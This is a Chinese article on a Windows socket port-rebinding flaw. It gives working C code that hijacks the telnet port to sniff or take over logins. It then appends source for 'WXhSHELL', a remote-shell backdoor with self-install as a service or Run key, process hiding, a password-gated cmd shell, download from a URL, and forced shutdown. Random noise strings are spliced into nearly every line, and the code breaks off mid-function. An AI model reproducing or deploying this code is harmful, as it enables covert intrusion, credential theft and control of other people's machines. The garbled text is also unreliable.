在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
+E+p"7 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
}K>d+6qk5 \K{
z saddr.sin_family = AF_INET;
iMh#TUlQEQ tjS@meT saddr.sin_addr.s_addr = htonl(INADDR_ANY);
GA)`-*.R C=xa5Y bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
P; no? ,Vax&n+J 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
}#+^{P3 ; Po0A#Z l 这意味着什么?意味着可以进行如下的攻击:
I,DS@SK QL/(72K 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
rXq.DvQ c#]4awHU 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
?R
'r4P, @4C% +- 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
qkqIV^*R Q\vpqE!9 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
zI uJ-8T" =%O6:YM
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
fbvL7*
( /s?`&1v|r 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
A\DCW v/plpNVp> 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Ee#q9Cx^J ?UR0:f:}oc #include
}v{LRRi #include
$wa{~' #include
E&w7GZNt #include
nFCC St$ DWORD WINAPI ClientThread(LPVOID lpParam);
BOX2O.Pm int main()
G.B2(' {
}>|s=uGW WORD wVersionRequested;
/maJtX' DWORD ret;
W@IQ^
}E WSADATA wsaData;
,qwuLBW BOOL val;
MN>b7O \.? SOCKADDR_IN saddr;
= svN#q5s SOCKADDR_IN scaddr;
~8+ Zs int err;
@
q3k%$4 SOCKET s;
+`0k Fbx SOCKET sc;
M3y NAN int caddsize;
wHLLu~m\ HANDLE mt;
q
i;1L
Kc DWORD tid;
(WJRi:NP? wVersionRequested = MAKEWORD( 2, 2 );
Jpq~ err = WSAStartup( wVersionRequested, &wsaData );
w2c?.x if ( err != 0 ) {
$I>w] printf("error!WSAStartup failed!\n");
NxY#NaE:?4 return -1;
^76]0`gS }
re<{
> saddr.sin_family = AF_INET;
t@;p wlvgg //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Z{d^- P+sW[: saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
3?yg\ saddr.sin_port = htons(23);
@mBQ?;qlK if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Y=KT eYW` {
UkC!1Jy printf("error!socket failed!\n");
-2[a2^a' return -1;
dT8S~-d% }
X?',n
1 val = TRUE;
}.(B}/$u //SO_REUSEADDR选项就是可以实现端口重绑定的
bJ%h53 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
3"e,qY {
#{6/ (X printf("error!setsockopt failed!\n");
xo&_bMO return -1;
^
@5QP$. }
BxmWIItz //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
3d]S!=4H" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
N+xP26D8 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
WH} y"W {P./==^0 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
aXYY:; {
6gE7e|+ ret=GetLastError();
Vb_4f" printf("error!bind failed!\n");
P@B] return -1;
x9g#<2w8 }
p6@)-2^ listen(s,2);
n\DV3rXI9 while(1)
{tZ.v@ {
m
s\} caddsize = sizeof(scaddr);
{\5 //接受连接请求
~
7s!VR sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
eym4=k ~ if(sc!=INVALID_SOCKET)
"8MF_Gu): {
7$=InK mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
KpGhQdR# if(mt==NULL)
"+s++@
z {
GefTdO.& printf("Thread Creat Failed!\n");
D>q9 3;p break;
GVn!O1jio }
Otuf]B^s }
>bW#Zs,6 CloseHandle(mt);
`^&OF uee }
TJRCH>E[a closesocket(s);
^h6tr8yn WSACleanup();
R 9\*#c return 0;
Yq
KCeg }
%u'ukcL7 DWORD WINAPI ClientThread(LPVOID lpParam)
uXvtfc {
0,")C5j SOCKET ss = (SOCKET)lpParam;
ZE}}W_ SOCKET sc;
:I#V. unsigned char buf[4096];
&QgR*,5eo SOCKADDR_IN saddr;
Rm( "=( long num;
}7Q% 6&IR DWORD val;
/8S>;5hvK@ DWORD ret;
y)@wjH{6 //如果是隐藏端口应用的话,可以在此处加一些判断
K0>zxqY //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
yN-9[P8C saddr.sin_family = AF_INET;
0(HU}I saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
1+s;FJ2} saddr.sin_port = htons(23);
ms]sD3z/W+ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
y6a3tG {
0 H:X3y+ printf("error!socket failed!\n");
WsB ?C&>x return -1;
7[)E>XRE }
4WB0Pt{ val = 100;
ktIFI`@w) if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
U K!(G {
n[rCQdM&U" ret = GetLastError();
$UwCMPs X return -1;
]f_p8?j" }
bt?5*ETA if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~xFkU# {
QXK{bxwC ret = GetLastError();
W=?<<dVYD return -1;
?J0y| }
B+`g>h if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
`a/`,N {
W>r+h-kR printf("error!socket connect failed!\n");
J&_n9$ closesocket(sc);
RA 6w}:sq7 closesocket(ss);
1% ` Rs
return -1;
e0 ecD3 }
UN#S;x* while(1)
TWTb?HP {
ccxNbU //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
0y\Z9+G: //如果是嗅探内容的话,可以再此处进行内容分析和记录
i%?* @uj //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
YmG("z num = recv(ss,buf,4096,0);
$`8wJf9@w if(num>0)
(ZlU^Gw#UB send(sc,buf,num,0);
z1a7*)8P else if(num==0)
-9?]IIVb break;
QT}tvm@PMq num = recv(sc,buf,4096,0);
HzsdHH(J if(num>0)
.%-8 t{dt send(ss,buf,num,0);
c+ie8Q! else if(num==0)
ueNS='+m break;
*un^u-; }
pxi3PY? closesocket(ss);
#'}*dy/ closesocket(sc);
:`sUt1Fw. return 0 ;
\;Weizq5 }
lOp`m8_= -Y8B~@]P? $~)SCbL^5 ==========================================================
Z\sDUJ i6Gu@( 8Q 下边附上一个代码,,WXhSHELL
WIGi51yC.x DmcZta8n] ==========================================================
/bmN\I K=&>t6s< #include "stdafx.h"
Gc7=
Zd+bx*rD #include <stdio.h>
t{>q|0 #include <string.h>
wd6owr #include <windows.h>
"@ n%Z #include <winsock2.h>
,!9zrYi} #include <winsvc.h>
O6Y0XL #include <urlmon.h>
2g<Xtt7+o G~m<; #pragma comment (lib, "Ws2_32.lib")
Q2>gU# #pragma comment (lib, "urlmon.lib")
\)e'`29; v@pky0 #define MAX_USER 100 // 最大客户端连接数
[F7hu7zY8 #define BUF_SOCK 200 // sock buffer
30{ gI0jk #define KEY_BUFF 255 // 输入 buffer
a q-~B~c`g ,x $,l #define REBOOT 0 // 重启
6u%&<")4HP #define SHUTDOWN 1 // 关机
x1a:u D_MmW #define DEF_PORT 5000 // 监听端口
~ri5zb20 jiGTA:v #define REG_LEN 16 // 注册表键长度
2<6UwF #define SVC_LEN 80 // NT服务名长度
d zMb5puH ry]l.@o; // 从dll定义API
TqQ[_RKg2 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
g)B]FH1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
4ppz,L,4 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
F"kAkX>3} typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
8EYkQ Ul# r // wxhshell配置信息
"
1tH struct WSCFG {
x1<|hTPk int ws_port; // 监听端口
s#MPX3itK char ws_passstr[REG_LEN]; // 口令
kGJC\{N5N int ws_autoins; // 安装标记, 1=yes 0=no
x~sBzTa char ws_regname[REG_LEN]; // 注册表键名
dWW.Y*339 char ws_svcname[REG_LEN]; // 服务名
+,l-Nz char ws_svcdisp[SVC_LEN]; // 服务显示名
UZ";a453r char ws_svcdesc[SVC_LEN]; // 服务描述信息
y>LBl] char ws_passmsg[SVC_LEN]; // 密码输入提示信息
8,|k ao: int ws_downexe; // 下载执行标记, 1=yes 0=no
5twhm char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
)PZT4jTt char ws_filenam[SVC_LEN]; // 下载后保存的文件名
{)Xy%QV ~Gw*r\\+ };
{[F A# sRfcF`7 // default Wxhshell configuration
<naz+QK' struct WSCFG wscfg={DEF_PORT,
@]0%L0u "xuhuanlingzhe",
.]Z"C&"N] 1,
Zd&S@Z "Wxhshell",
! P4*+')M "Wxhshell",
Hp?/a?\Xm "WxhShell Service",
P~dcW "Wrsky Windows CmdShell Service",
*ui</+ "Please Input Your Password: ",
n@w%Zl 1,
JtZ7ti "
http://www.wrsky.com/wxhshell.exe",
8Y?;x} "Wxhshell.exe"
s^SJY{ };
pot~<d`:K" nFn5v'g // 消息定义模块
N21smC} char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
TC"<g char *msg_ws_prompt="\n\r? for help\n\r#>";
Ho%CDz
z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
.(vwIb8\_ char *msg_ws_ext="\n\rExit.";
11lsf/IP char *msg_ws_end="\n\rQuit.";
45oR=Atn char *msg_ws_boot="\n\rReboot...";
I@3MO0V^ char *msg_ws_poff="\n\rShutdown...";
r*Xuj= char *msg_ws_down="\n\rSave to ";
@pxcpXCy aDCwI :Li( char *msg_ws_err="\n\rErr!";
pJ{Y
lS{ char *msg_ws_ok="\n\rOK!";
4\i[m:e=@ snJ129}A char ExeFile[MAX_PATH];
KmF]\:sMD int nUser = 0;
m kexc~l HANDLE handles[MAX_USER];
W8<%[-r int OsIsNt;
ElXFeJ%[G ~5g ~;f[4 SERVICE_STATUS serviceStatus;
<uJ@:oWG7 SERVICE_STATUS_HANDLE hServiceStatusHandle;
olcDt&xv] <QvOs@i* // 函数声明
;=N#`l int Install(void);
$J2Gf(RU int Uninstall(void);
;nGa.= "L int DownloadFile(char *sURL, SOCKET wsh);
BuwY3F\-O int Boot(int flag);
U~8g_* void HideProc(void);
6nQq int GetOsVer(void);
Q20%"&Xp] int Wxhshell(SOCKET wsl);
_j3f Ar(V void TalkWithClient(void *cs);
D]}G.v1 int CmdShell(SOCKET sock);
.u:GjL'$ int StartFromService(void);
7 3m1 int StartWxhshell(LPSTR lpCmdLine);
:%.D78& }'.m*#Y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
#F#%`Rv1 VOID WINAPI NTServiceHandler( DWORD fdwControl );
]tD]Wx% B3BN`mdn> // 数据结构和表定义
Uv.)?YeGh SERVICE_TABLE_ENTRY DispatchTable[] =
`]X>V, {
?EL zj {wscfg.ws_svcname, NTServiceMain},
G?ZXWu. {NULL, NULL}
9my^Y9B };
yw!{MO 9UkBwS` // 自我安装
/ouPg=+Nl int Install(void)
jF>[?L {
#jk_5W char svExeFile[MAX_PATH];
g*Phv|kI HKEY key;
y^k$Us strcpy(svExeFile,ExeFile);
=WLY 6)]A ;,TFr}p` // 如果是win9x系统,修改注册表设为自启动
<[phnU^
8 if(!OsIsNt) {
<[v[ci if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
g\U-VZ6;p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=I4lL]> RegCloseKey(key);
4JEpl'5^Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
TV:9bn?r) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
GeqPRah RegCloseKey(key);
:Al!1BJQ return 0;
;j7#7MN2_E }
dI2
V>vk }
y9;Yivr) }
=vPj%oLp'a else {
lk!@? *#2h/Q. // 如果是NT以上系统,安装为系统服务
%C0Dw\A*: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
@c#(.= if (schSCManager!=0)
pw#-_ {
LscGTs, SC_HANDLE schService = CreateService
b'y%n (
fOHxtHM schSCManager,
pdMc}=K wscfg.ws_svcname,
/efUjkP wscfg.ws_svcdisp,
D=$)n_F SERVICE_ALL_ACCESS,
1cDF!X] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
teP<!RKNb SERVICE_AUTO_START,
C^){.UGmJ SERVICE_ERROR_NORMAL,
yVfC-Z svExeFile,
z{543~Og59 NULL,
IgzQr > NULL,
*i,%,O96Nz NULL,
6b,V;#Anj NULL,
f^e)O$N9] NULL
V+\Wb[zDJ );
3%6?g* if (schService!=0)
QPx^_jA {
k+/6$pI CloseServiceHandle(schService);
m~|40) CloseServiceHandle(schSCManager);
LD?sh"?b strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
/QQ*8o8 strcat(svExeFile,wscfg.ws_svcname);
xk5]^yDp if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
+ 3gp%`c4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
T|$H#n} RegCloseKey(key);
iscz}E,Y return 0;
TC('H[
] }
}ZI7J }
km(Po} CloseServiceHandle(schSCManager);
im8 CmQ }
S/ *E,))m }
~u{uZ(~ Qrv<lE1V; return 1;
.}t
e>]A* }
|)&%A%m e.C)jv6qr // 自我卸载
hxx.9x>ow int Uninstall(void)
J,hCvm {
wY#E?, HKEY key;
!if 0sqFF[i if(!OsIsNt) {
F2WKd1U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
]d]]'Hk RegDeleteValue(key,wscfg.ws_regname);
45e~6", RegCloseKey(key);
RN1_S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Y73C5.dNcE RegDeleteValue(key,wscfg.ws_regname);
do%&m]#; RegCloseKey(key);
s1rCpzK0 return 0;
*hx }
sx%[=g+<2( }
3F3A%C% }
p ?!/+ else {
M+>u/fldV y `UaB3q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
3<!7>]A if (schSCManager!=0)
R5D1w+ {
8Wx=p#_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
x4 yR8n( if (schService!=0)
:]KAkhFkbb {
O?2DQY?jT if(DeleteService(schService)!=0) {
t!XwW$@ CloseServiceHandle(schService);
-~1~I
e2 CloseServiceHandle(schSCManager);
Z~CjA%l return 0;
6'/ #+,d' }
rH-23S CloseServiceHandle(schService);
Y|n"dMrL }
$I=~S[p CloseServiceHandle(schSCManager);
e=
AKD# }
0;k# *#w }
W4S,6( A&VG~r$ return 1;
k:;r2f }
,F|f. 7; HtFDlvdy] // 从指定url下载文件
aOp\91
int DownloadFile(char *sURL, SOCKET wsh)
d-qUtgqV86 {
_b 0&!l<
HRESULT hr;
C]6O!Pb0 char seps[]= "/";
#e"[^_C@! char *token;
L,\Iasv char *file;
@]j1:PN-
char myURL[MAX_PATH];
g#bRT*,L char myFILE[MAX_PATH];
V`- 9m$ s<Ziegmw|g strcpy(myURL,sURL);
vaLSH
xi token=strtok(myURL,seps);
occ7zcA while(token!=NULL)
wMn
i {
#"!<W0 file=token;
dN q$} token=strtok(NULL,seps);
V0@=^Bls }
KO [Yi tw;}jh GetCurrentDirectory(MAX_PATH,myFILE);
S[gx{Bxiw strcat(myFILE, "\\");
dd;~K&_Q/i strcat(myFILE, file);
\e*]Ls#jS send(wsh,myFILE,strlen(myFILE),0);
%J(:ADu] send(wsh,"...",3,0);
la!~\wpa hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
lxx2H1([ if(hr==S_OK)
fhiM U8(& return 0;
vXs"Dst else
tmq OJ return 1;
?s01@f# [,Gg^*umS }
(QEG4&9 +7Gwg // 系统电源模块
)nkY_'BV int Boot(int flag)
L *wYx| {
y(#e}z: HANDLE hToken;
Et$2Y-L. TOKEN_PRIVILEGES tkp;
q V=!ORuj )9g2D`a4 if(OsIsNt) {
|Cv!,]9:r OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
(.:e,l{U% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
y[;>#j$ tkp.PrivilegeCount = 1;
l?e.9o2- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
I7onX,U+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
="+#W6bZT if(flag==REBOOT) {
z/-=%g >HA if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
m
O_af return 0;
cuX)8+ }
!$JT e else {
C%u28| if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
KlEpzJ98 return 0;
2y4bwi }
*dQSw)R }
ES[G else {
f*Hr^b}`8 if(flag==REBOOT) {
z{
dEC % if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
&C}*w2]0S return 0;
|!ELV7?( }
"oyo#-5z else {
&ZO0r ^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
_a, s
) return 0;
,1`z"7\W }
\fOEqe*5SM }
vx
=&QavL #!=tDc
& return 1;
VbYdZCC }
)%TmAaj9d F ,kZU$ // win9x进程隐藏模块
F59 TZI void HideProc(void)
W9&=xs6 {
}e1ZbmW tQVVhXQ7 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
"+c-pO`Wg if ( hKernel != NULL )
UKGPtKE< {
K/$KI7P pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
h[ ZN+M ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
i8p6Xht FreeLibrary(hKernel);
jXJyc'm7 }
6BlXLQ,8q JF]JOI6.e return;
sOY:e/_F }
+@UV?"d t20K!}D_ // 获取操作系统版本
TeQV?ZQ#} int GetOsVer(void)
xdPx{"C
3 {
DU^loB+ OSVERSIONINFO winfo;
P?<y%c< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
7<4qQ.deE GetVersionEx(&winfo);
XW/o<[91 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
f);FoVa6 return 1;
MV"=19] else
#yen8SskB return 0;
4-w{BZuS }
ZCw]m#lS NK+o1 // 客户端句柄模块
KvSG; int Wxhshell(SOCKET wsl)
\vNU,WO {
buC{r, SOCKET wsh;
$b\P|#A struct sockaddr_in client;
x-c"%Z| DWORD myID;
bt *k.=p d9ihhqq3} while(nUser<MAX_USER)
Bvj0^fSm {
#ob/p#k int nSize=sizeof(client);
G}*hM$F wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
iso4]>LF if(wsh==INVALID_SOCKET) return 1;
Ac6=(B %y@AA>x! handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
g0H[*"hj if(handles[nUser]==0)
'qi}|I closesocket(wsh);
P>L +t`' else
58K5ZZG nUser++;
H]s.=.Ki }
6@o*xK7L WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
POW>~Tof1 QJNFA}*> return 0;
0x7'^Z>-oe }
$kgVa^ e!`i3KYn" // 关闭 socket
!k%#R4*> void CloseIt(SOCKET wsh)
<{pz<io) {
t)
+310w closesocket(wsh);
@x1-!
~z# nUser--;
PH"%kCI: ExitThread(0);
$(
)>g>% }
g`^x@rj`E <#.g=ay // 客户端请求句柄
;4a{$Lw~^9 void TalkWithClient(void *cs)
zT/\Cj68 {
Bq>m{ VL^EHb7 SOCKET wsh=(SOCKET)cs;
d _
e WcI char pwd[SVC_LEN];
Q\)F;: | char cmd[KEY_BUFF];
'yth'[ char chr[1];
B *vM0 int i,j;
$(9U @N9E !W0v >p while (nUser < MAX_USER) {
A
>$I
-T+ +"(jjxJm if(wscfg.ws_passstr) {
!BI;C(,RL if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\9d$@V //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
yVc(`,tZ( //ZeroMemory(pwd,KEY_BUFF);
"KlwA.7/ i=0;
xPgBV~ while(i<SVC_LEN) {
`6YN3XS K^$=dLp // 设置超时
':W[ A fd_set FdRead;
HDKbF/ struct timeval TimeOut;
P4?glh q# FD_ZERO(&FdRead);
ddo#P%sH' FD_SET(wsh,&FdRead);
-N@|QK> TimeOut.tv_sec=8;
-/k 3a*$/ TimeOut.tv_usec=0;
&~!Wym int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
}%z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
aT<q=DO t
Pf40`@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
$cR{o# pwd
=chr[0]; q;U,s)Uz^
if(chr[0]==0xd || chr[0]==0xa) { sGb{9.WK
pwd=0; 2oU_2P
break; GL JMP^p
} &{RDM~
i++; G
j1_!.T
} ca}2TT&t
-+5>|N#
// 如果是非法用户,关闭 socket {t!!Uz 7
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Zov~B-Of:
} ,47qw0=C
&R siVBA
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q =Il|Nb>
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ':}\4j&{E
.l|$dE/E
while(1) { ]d`VT)~vje
*dF>_F
ZeroMemory(cmd,KEY_BUFF); OH"XrCX7n
e%6QTg5#
// 自动支持客户端 telnet标准 &?vgP!d&M
j=0; i&k7-<
while(j<KEY_BUFF) { 6Iw\c
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TKjFp%
cmd[j]=chr[0];
9akH
if(chr[0]==0xa || chr[0]==0xd) { |M_UQQAB|
cmd[j]=0; 8D].MI^
break; bi:8(Q$w:`
} iOdpM{~*
j++; fQ98(+6
} +O5hH8<&b
7Qsgys#/=
// 下载文件 or]IZ2^n
if(strstr(cmd,"http://")) { SzRmF1<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); f X)#=c|5
if(DownloadFile(cmd,wsh)) '2O\_Uz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aoTP[Bp
else %bfZn9_m
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I0a<%;JJW
} &OBkevg
else { MW{8VH6+
<,(,jU)j
switch(cmd[0]) { KYP!Rs/j.
d %#b:(,
// 帮助 c(%|: P^
case '?': { BZxvJQ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fT{Yg /j
break; m4g$N)
} L-\GHu~)
// 安装 go"Hf_
case 'i': { 2"5v[,$1H
if(Install()) :Yks|VJ1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s@DLt+ O5
else iX\X>W$P
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n(|^SH4$b
break; %IRi1EmN8
} o]:9')5^
// 卸载 4&f3%eTi
case 'r': { Rh |nP&6
if(Uninstall())
Z<phcqEi8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bTu9;(
else d/Q%IeEL.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )ANmIwmC#
break; [9 RR8
} EZj9wd"u
// 显示 wxhshell 所在路径 -gWZwW/lD
case 'p': { PT9*)9<L
char svExeFile[MAX_PATH]; Faf&U%]*`
strcpy(svExeFile,"\n\r"); ~nPtlrQa#*
strcat(svExeFile,ExeFile); %#}Z y
send(wsh,svExeFile,strlen(svExeFile),0); qv"$Bd:]r
break; o lxByzTh>
} O<\@~U
// 重启 j)GtEP<n#
case 'b': { BSMwdr
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W];dD$Oqg
if(Boot(REBOOT)) m_l[MG\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A4ygW:
else { P2*<GjV`S/
closesocket(wsh); "T"h)L<
ExitThread(0); g4@ lM"|S
} ``Un&-Ms
break; L^Fy#p
} (M
~e?s
// 关机 ,1##p77.
case 'd': { N"1B/u
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w-{c.x
if(Boot(SHUTDOWN)) p"Z-6m~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); eN~=*Mn(za
else { 3{h_&Gbo'D
closesocket(wsh); 6x|jPb
ExitThread(0); $j?1g#
} ~!3r&(
break; PzR[KUK
} 9$m|'$p3sG
// 获取shell C/&-l{7
case 's': { ,=mS,r7
CmdShell(wsh); D )'bH5
closesocket(wsh); TW>WHCAm
ExitThread(0); *|E[L^
break; XS BA$y
} uOGw9O-d9
// 退出 ilva,WFa^
case 'x': { fg{n(TE"8
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
JSg$wi8
CloseIt(wsh); Y)a^(!<H<
break; evJ.<{M
} pXK^Y'2C!
// 离开 &yol_%C
case 'q': { vI)LB)Q
send(wsh,msg_ws_end,strlen(msg_ws_end),0); }-3mPy(*%
closesocket(wsh); Uv~QUL3>
WSACleanup(); T"}vAG( .O
exit(1); ^<-+@v*
break; zNuJj L
} t!\tF[9e
} XF_pN[}
} lUiL\~Gq
Zoc0!84<z
// 提示信息 *r% c
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]]juN
} tlt*fH$.
} wg]LVW}
@jlw_ob2g
return; .eP.&
} g|Fn7]G
Dl8;$~
// shell模块句柄 M {Q;:
int CmdShell(SOCKET sock) wIBO
^w\J
{ 8Dm%@*B^b
STARTUPINFO si; A$xF$l
ZeroMemory(&si,sizeof(si)); (/*]?Ehd
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lo!+f"7ym\
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dmN&+t
PROCESS_INFORMATION ProcessInfo; g2/8~cn8z
char cmdline[]="cmd"; {T
Ug.%u
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t3Y:}%M
return 0; }I6vqG
} R n*L
!1Cy$}w
// 自身启动模式 rI-%be==
int StartFromService(void) 'anG:=
{ lR6x3C
H@
typedef struct pQ<Y:-`c
{ ig':%2V/
DWORD ExitStatus; Oh\<VvZuN
DWORD PebBaseAddress; A7hVHxNJ-
DWORD AffinityMask; g!z&~Z:
DWORD BasePriority; 1q1jZqno
ULONG UniqueProcessId; \A6B,|@
ULONG InheritedFromUniqueProcessId; t\j*}# S
} PROCESS_BASIC_INFORMATION; E'.7xDN
3CGp`~Zf
